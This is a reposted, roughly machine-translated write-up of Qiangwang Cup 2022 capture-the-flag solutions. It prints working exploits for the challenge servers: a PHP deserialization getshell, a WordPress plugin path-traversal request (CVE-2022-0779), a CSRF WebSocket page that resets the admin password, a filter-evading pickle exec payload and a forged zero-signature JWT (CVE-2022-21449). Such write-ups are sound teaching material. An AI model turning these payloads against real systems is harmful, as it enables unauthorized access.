The 6th Strong Net Cup Writeup

Original link: https://5ime.cn/qwb-2022.html

write in front

The Qiangwang Cup is not badly called the Strong Pwn Cup, with 17 Pwn questions. I don’t know what happened in previous years. There are many recurring CVE questions this year. I don’t know whether other questions have CVE.

 1
2
3
 myJWT CVE- 2022 - 21449
WP -UM CVE- 2022 - 0779
easylogin CVE- 2022 - 21661

Strong network pioneer

rcefile

Scan to www.zip and find out by testing

  1. Check the suffix and content-type , the filename is a random string
  2. The data is stored in the cookie , restored and displayed by反序列化函数

The key point is the spl_autoload_register() function in the config.inc.php file

 1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
spl_autoload_register ();
error_reporting ( 0 );

function e ( $str ) {
return htmlspecialchars ( $str );
}
$userfile = empty ( $_COOKIE [ "userfile" ]) ? [] : unserialize ( $_COOKIE [ "userfile" ]);
?>
<p>
<a href= "/index.php" >Index</a>
<a href= "/showfile.php" >files</a>
</p>

spl_autoload_register() If you do not specify the processing function, it will automatically include the file of类名.php or类名.inc name.inc, and load the类名class in it

It can be seen from the source code that there is no .inc in the blacklist, so we can implement Getshell through the .inc file

 1
 $blackext = [ "php" , "php5" , "php3" , "html" , "swf" , "htm" , "phtml" ];

We can see that after uploading, a userfile cookie appears in the response packet

 1
 Set-Cookie: userfile=a: 1 :{ i : 0 ;s: 36 : "340d9b3c0f5d7eff1c077d2ecd8c1c19.inc" ;}

image-20220730185455774

Then we serialize an object with class name 340d9b3c0f5d7eff1c077d2ecd8c1c19

 1
2
3
4
5
6
7
 <?php
class 340 d9b3c0f5d7eff1c077d2ecd8c1c19 {
}

$flag = new 340 d9b3c0f5d7eff1c077d2ecd8c1c19();
echo serialize ( $flag );
// O:32:"340d9b3c0f5d7eff1c077d2ecd8c1c19":0:{}

Just add our newly generated反序列化string directly to the cookie

image-20220730185617193

WP_UM

Access the environment, a guided installation page appears, and the useful information is the following paragraph

Cat brother recently built a personal blog with wordpress. Because of his poor memory, the careless cat brother put the administrator’s 10-digit account as the file name under /username and the 15-digit password as the file name under /password.
And when storing, the cat brother is divided into a number (as the sequence of letters in the password) + an uppercase or lowercase letter to a file, for example, admin is divided into 5 files, the file name is 1a 2d 3m 4i 5n
In the past few days, he found a very useful wordpress plugin. When he was happy, the unfortunate cat brother didn’t know the danger.

This piece of information says that there is a problem with the plug-in, and then two plug-ins akismet and user-meta , are found in the attachment of the title.

According to the version 2.4.3 of the user-meta plugin, a path traversal vulnerability CVE-2022-0779 was found, which can be combined to get the account password.

The pf_noncee in the request package needs to be changed to the current pf_noncee . How to get it: View the page source code on the homepage of the website and search for pf_nonce

 1
2
3
4
5
6
7
8
9
10
11
12
 POST /wp-admin/admin-ajax.php HTTP/1.1
Host : eci-2ze2ahooasrbklrp7npz.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests : 1
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding : gzip, deflate
Accept-Language : zh-CN,zh;q=0.9
Connection : close
Content-Type : application/x-www-form-urlencoded
Content-Length : 159

field_name=test&filepath= /../ .. /../ .. /../ .. /../ .. /username/ 1 M&field_id=um_field_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=e74a0c7bd4&is_ajax= true

We can find that if the path exists then there will be a Remove otherwise not

image-20220731212031379

Account ( 10 digits) and password ( 15 digits), these information topics are all mentioned, we can directly burp az , AZ , and the user name is M in the blog post. A few digits, so in fact, only the 6 to 15 digits of the password are blasted, which is quite fast.

 1
2
用户名:MaoGePaMao
密码:MaoGeYaoQiFeiLa

Log in to the background, and write a shell in外观>主题文件编辑器(the original intention is to write a sentence directly, but it seems that the quotation marks are filtered), write a sentence directly to other files)

image-20220731212638338

He said that the flag was hidden, and it took a long time to connect to the ant sword, and finally found that the flag was found in /usr/local/This_1s_secert for a long time, otherwise the blood would be mine (whisper bb

image-20220731105857684

ASR

Download the attachment to get a python script

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
twenty one
twenty two
 from Crypto.Util.number import getPrime
from secret import falg
pad = lambda s:s + bytes ([( len (s)- 1 )% 16 + 1 ]*(( len (s)- 1 )% 16 + 1 ))

n = getPrime( 128 )** 2 * getPrime( 128 )** 2 * getPrime( 128 )** 2 * getPrime( 128 )** 2
e = 3

flag = pad(flag)
print (flag)
assert ( len (flag) >= 48 )
m = int .from_bytes(flag, 'big' )
c = pow (m,e,n)

print ( f'n = {n} ' )
print ( f'e = {e} ' )
print ( f'c = {c} ' )

'''
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
'''

We first use factordb to decompose n to get

 1
2
3
4
 p1 = 218566259296037866647273372633238739089
p2 = 223213222467584072959434495118689164399
p3 = 225933944608558304529179430753170813347
p4 = 260594583349478633632570848336184053653

e|p1-1|p3-1 , which needs to be replaced. After some attempts, n can also be approximately equal to p2**2*p4**2

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 import gmpy2
from Crypto.Util.number import long_to_bytes

n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149

p1 = 218566259296037866647273372633238739089
p2 = 223213222467584072959434495118689164399
p3 = 225933944608558304529179430753170813347
p4 = 260594583349478633632570848336184053653

assert (n==(p1*p2*p3*p4)** 2 )
data = gmpy2.invert(e, (p2- 1 )*p2*p4*(p4- 1 ))
print (long_to_bytes( pow (c, data, p2** 2 *p4** 2 )))

# flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}

polydiv

This is just two sets. The md5 of the first layer is better. I wanted to manually input it, but found that there is not enough time. The use of pwn plays an interactive role. The md5 of the first layer has passed, and then the second layer is in the integer ring. Polynomial multiplication and division can be求解by using the relevant functions in sagemath , and the corresponding data can be obtained for 40 rounds of blasting solutions.

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
twenty one
twenty two
twenty three
twenty four
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 from pwn import *
import string
from hashlib import *
import itertools
from sage. all import *
strs = string.ascii_letters + string.digits
PR = PolynomialRing(Zmod( 2 ), name= 'x' )
x = PR.gen()

def proof ( end,sha ):
num= 4
slist=itertools.permutations(strs, int (num))
for i in slist:
i = '' .join(i)
if sha256((i + end.decode()).encode()).hexdigest()==sha.decode():
return i

def poly ( s ):
data = 0
if s[- 1 ] == '1' :
data = 1
if 'x' in s.replace( 'x^' , '' ):
data += x
for i in range ( 2 , 15 ):
if str (i) in s:
data += x^i
return data

io = remote( '39.107.137.85' , 41366 )
context.log_level = 'debug'
io.recvuntil( 'sha256(XXXX+' )
message=io.recvuntil( '\n' )[:- 1 ]
end = message[: 16 ]
SHA = message[- 64 :]
io.sendafter( 'Give me XXXX: ' , proof(end,SHA))

for i in range ( 40 ):
io.recvuntil( 'r(x) = ' )
rx = poly(io.recvuntil( '\n' )[:- 1 ].decode())
io.recvuntil( 'a(x) = ' )
ax = poly(io.recvuntil( '\n' )[:- 1 ].decode())
io.recvuntil( 'c(x) = ' )
cx = poly(io.recvuntil( '\n' )[:- 1 ].decode())
bx = (rx-cx)//ax
print (rx,ax,bx)
io.sendafter( '> b(x) = ' , str (bx))
io.recvall()

Web

babyweb

After registering an account and logging in, send help according to the prompt and return the following information

image-20220730185825254

When I first saw the bugreport command (the administrator who sent the bugreport 网址will request the URL you sent), I thought it should be the cookie of the XSS phishing administrator, but it has not been successful and cannot receive the request.

Later, I considered using the bugreport and changepw functions to construct csrf to modify the administrator password. According to the js in the page, I simply constructed the ws request and uploaded it to my own server. After trying for a long time, it still failed. The port mapped by the docker container, so the ws address in the script is changed to ws://127.0.0.1:8888

 1
 docker run -dit -p "0.0.0.0:pub_port:8888" babyweb

 1
2
3
4
5
6
7
8
9
10
11
 < meta charset = "utf‐8" />
< script >
var ws = null ;
var url = "ws://127.0.0.1:8888/bot" ;

ws = new WebSocket (url);
ws. onopen = function ( event ) {
var msg = "changepw 123456" ;
ws. send (msg);
}
</ script >

Send the bugreport poc地址in the dialog box, then the admin password will be reset to 123456 , log in to the admin account again

Buy Hint to get the topic source code /static/qwb_source_12580.zip

image-20220730200411370

Looking at the source code, it is found that the restrictions are very dead. It must be within the defined range, must be numbers, etc. Finally, considering that the two languages ​​of python and go are different, the json interpreter is also different, which bypasses the restrictions. Operational Security Vulnerabilities

image-20220730200617452

Return to the page to get the flag

image-20220730200630203

crash

Subject content: flag in 504 page

Visit the homepage to get the topic source code

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
twenty one
twenty two
twenty three
twenty four
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
 import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path= '' )
app.secret_key=random.randbytes( 12 )

class User :
def __init__ ( self, username,password ):
self.username=username
self.token= hash (password)

def get_password ( username ):
if username== "admin" :
return admin.secret
else :
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get( "password" )

@app.route( '/balancer' , methods=[ 'GET' , 'POST' ] )
def flag ():
pickle_data=base64.b64decode(request.cookies.get( "userdata" ))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system( "rm -rf *py*" )
userdata=pickle.loads(pickle_data)
if userdata.token!= hash (get_password(userdata.username)):
return "Login First"
if userdata.username== 'admin' :
return "Welcome admin, here is your next challenge!"
return "You're not admin!"

@app.route( '/login' , methods=[ 'GET' , 'POST' ] )
def login ():
resp = make_response( "success" )
session[ "password" ]=request.values.get( "password" )
resp.set_cookie( "userdata" , base64.b64encode(pickle.dumps(User(request.values.get( "username" ),request.values.get( "password" )), 2 )), max_age= 3600 )
return resp

@app.route( '/' , methods=[ 'GET' , 'POST' ] )
def index ():
return open ( 'source.txt' , "r" ).read()

if __name__ == '__main__' :
app.run(host= '0.0.0.0' , port= 5000 )

Log in to admin , and pass the user name and password through GET . After serialization and base64 encoding, it is placed in the cookie

 1
2
3
4
5
 def login ():
resp = make_response( "success" )
session[ "password" ]=request.values.get( "password" )
resp.set_cookie( "userdata" , base64.b64encode(pickle.dumps(User(request.values.get( "username" ),request.values.get( "password" )), 2 )), max_age= 3600 )
return resp

We found that the password of admin is the local variable secret , but we don’t know what the value of secret is

 1
2
3
 def get_password ( username ):
if username== "admin" :
return admin.secret

We can implement变量覆盖through pickle deserialization. Note that R and secret cannot appear in the incoming serialized string.

 1
2
 if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"

We use double-layer exec bypass, and also recommend an article on pickle deserialization , which is very detailed

 1
2
3
4
5
6
7
8
9
 import base64

data = b'''(S'exec('admin.se'+'cret="admin"')'
i__builtin__
exec
.'''

print (base64.b64encode(data))
# KFMnZXhlYygnYWRtaW4uc2UnKydjcmV0PSJhZG1pbiInKScKaV9fYnVpbHRpbl9fCmV4ZWMKLg==

The page displays successfully

 1
 http:// 39.107 .237 .149 : 25512 / login ?username= admin & password = admin

At this time, accessing /balancer will prompt You're not admin! , we modify the cookie and then request /balancer

 1
 userdata=KFM nZXhlYygnYWRtaW4 uc 2 U nKydjcmV0 PSJhZ G1 pbiI nKScKaV9 fY nVpbHRpbl9 fCmV 4 ZWMKLg==

After the request, the page prompts 500 , and you can return to the normal page by re-requesting once.

image-20220731204257000

Here again, the flag in 504 page is prompted, so this page should finally get the flag page.

And then gave a /826fd2f86129b050875e4a70cb059908a7ed let’s construct the request directly

image-20220731204345607

After accessing, get an nginx configuration file

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
twenty one
twenty two
twenty three
twenty four
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
 # nginx.vh.default.conf -- docker-openresty
#
# This file is installed to:
# `/etc/nginx/conf.d/default.conf`
#
# It tracks the `server` section of the upstream OpenResty's `nginx.conf`.
#
# This config (and any other configs in `etc/nginx/conf.d/`) is loaded by
# default by the `include` directive in `/usr/local/openresty/nginx/conf/nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-files
#
lua_package_path "/lua-resty-balancer/lib/?.lua;;" ;
lua_package_cpath "/lua-resty-balancer/?.so;;" ;

server {
listen 8088 ;
server_name localhost;

#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;

location /gettestresult {
default_type text/html;
content_by_lua '
local resty_roundrobin = require "resty.roundrobin"
local server_list = {
[ngx.var.arg_server1] = ngx.var.arg_weight1,
[ngx.var.arg_server2] = ngx.var.arg_weight2,
[ngx.var.arg_server3] = ngx.var.arg_weight3,
}
local rr_up = resty_roundrobin:new(server_list)
for i = 0,9 do
ngx.say("Server seleted for request ",i,": " ,rr_up:find(),"<br>")
end
' ;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#


# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}

# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# root /usr/local/openresty/nginx/html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include fastcgi_params;
#}

# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}

The file mentions three addresses in total, fill them in directly, and then权重, according to years of experience in building a website, the lower the value, the higher the priority, we directly set them to 0 , or the same number, and then let the three conflicts go away Bar.

 1
2
3
 127.0.0.1
127.0.0.1:8088
127.0.0.1:900

After waiting for more than ten seconds, the page returns the flag , and at the same time, you can see in the console that the requested interface 504 has timed out

image-20220731205149323

Crypto

myJWT

After nc is connected, enter the username, then enter 1 to get the generate token , return a JWT , then enter 2 to getflag to prompt you to enter your token and return You are not the administrator. Let’s decrypt the JWT and see

 1
 eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0 = .eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MzM4MTIxNzAwfQ = = . 5 IQnppqB0_rC4OOaCowkLXVYW6eJ1kI6P-IR3dXll0gDYFjQKyOrHbVp10Hrm3GFh8eRBVZok9_z1rrKUQcJUBqQs-PeZElzqrZwE4rPVxJr2fngi2u97HdG4ItmvWiS

Obviously see a permission check field "admin": false,

image-20220801151528922

We first base64 decoding, then change false to true , and re-encode to base64

 1
2
3
4
 eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MzM4MTIxNzAwfQ==
{ "iss" : "qwb" , "name" : "iami233" , "admin" : false , "exp" : 1659338121700 }
{ "iss" : "qwb" , "name" : "iami233" , "admin" : true , "exp" : 1659338121700 }
eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjp0cnVlLCJleHAiOjE2NTkzMzgxMjE3MDB9

image-20220801151528922

CVE-2022-21449: Validation can be bypassed when the incoming sig value pair (r, s) is (0, 0)

The last piece of data we fill with 0 , the original data is 128 bits, we also fill with 128 A

 1
 eyJ 0 eXAiOiJKV 1 QiLCJhbGciOiJteUVTI n0 =.eyJpc 3 MiOiJxd 2 IiLCJuYW 1 lIjoiaWFtaTIzMyIsImFkbWluIjp 0 c nVlLCJleHAiOjE2 NTkzMzgxMjE3 MDB 9. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Note that the token expiration time is a bit fast, so the overall speed is faster, of course, it can also be automated with scripts

image-20220801151506983

This article is reprinted from: https://5ime.cn/qwb-2022.html
This site is for inclusion only, and the copyright belongs to the original author.

Leave a Comment